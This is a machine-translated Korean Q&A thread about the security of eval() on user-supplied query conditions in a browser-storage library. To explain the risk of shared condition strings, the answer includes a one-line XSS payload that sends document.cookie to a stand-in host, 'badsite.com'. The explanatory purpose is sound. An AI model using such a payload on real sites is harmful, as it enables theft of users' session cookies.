2012-12-19 1 views
2

나는 거의 모든 웹 브라우저 저장 기술에서 저장 작업을 수행하는 데 사용할 수있는 API를 제공하는 스크립트 개발을 거의 끝냈습니다.웹 브라우저 저장소 : 사용자가 제공 한 문자열을 평가할 수있는 보안 의미?

내가 작업하고있는 기능의 마지막 비트는 (물론) 조건부 표현식을 제공해야하는 조건부 검색 및 제거 작업입니다 (eval()을 사용하거나 webSQL, WHERE 뒤에 직접 삽입).

적어도 2 개의 완전한 파서 (webSQL 용, 하나는 indexedDB 용)가 필요합니다. 입력을 유효하게 확인하려면 입력을 구문 분석하거나 위생적으로 평가하는 것처럼 보이지만 불필요한.

나는 원시 문자열을 평가하는 보안 문제의 비트 확실 해요, 그래서 난 내 보안 평가에 대한 몇 가지 입력을 감사하겠습니다 :

사용자 : 입력을 평가

직접하거나 공급 또는 간접적으로 사용자가 이라는 저장소의 sanboxed 특성 (해당 출처에 대해서만 해당 사용자에게 액세스 할 수있는 데이터를 조작하려는 경우)과 아무 것도 할 수없는 사실 때문에 문제가되지 않아야합니다.로 끝내야합니다.브라우저에서 사용자가 직접 수행 할 수없는 API입니다.

타사 :

저장 기술은 할 수 없습니다, 따라서 접근을 동일 출처 정책을 준수하고, 다른 기원

내가했습니다 것처럼 내가 느끼는에 속하는 샌드 박스 저장 영역 내 평가에서 하나 이상의 가능한 보안 문제를 간과했다. 이게 맞습니까? 아니면 대부분의 평가가 맞습니까?

+1

에 따라 다릅니다. 라이브러리를 사용하는 응용 프로그램이 타사에 도메인 간 인터페이스를 제공하는 경우 표현 문자열을 API로 보낼 수 있습니다.물론이 링크를 여는 부분 (여러분의 lib이 아닌)이 유효성 검사를 담당하지만 검증을위한 도구를 제공하는 것이 좋습니다. – Bergi

답변

1

현실적인 보안 질문은 이고 조건 문자열은에서 비롯됩니다. 문자열이 항상 사용자로부터 오는 한 위험은 없습니다. 어쨌든 사용자는 eval JS 콘솔에서 직접 할 수 있습니다. 문자열이 사용자의 직접 입력 외에 어딘가에서 오는 것을 허용하면 위험한 영역에 빠지게됩니다.

사이트에서 코드에 API 스크립트를 사용한다고 가정합니다. 또한 그들이 선호하는 검색 조건을 저장할 수 있다고 가정하십시오. 또한 그들이 선호하는 검색 목록을 다른 사용자와 공유 할 수 있다고 가정 해보십시오. 공유 조건을 볼 때 다른 사용자가 제공 한 문자열을로드하고 있습니다.

foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e); 

당신이 당신의 데이터 뷰어에 조건을로드

, 당신은 또 다른 웹 사이트에 쿠키 데이터를 노출 한 : 당신의

가정하자 하나는 당신에게 자신의 저장 조건을 볼 수있는 링크를 전송합니다.

WebSQL 주입의 경우 (eval과 반대) 동일한 피해가 가능하지만 전체 JavaScript 실행 환경이 아닌 데이터 저장소로 제한됩니다.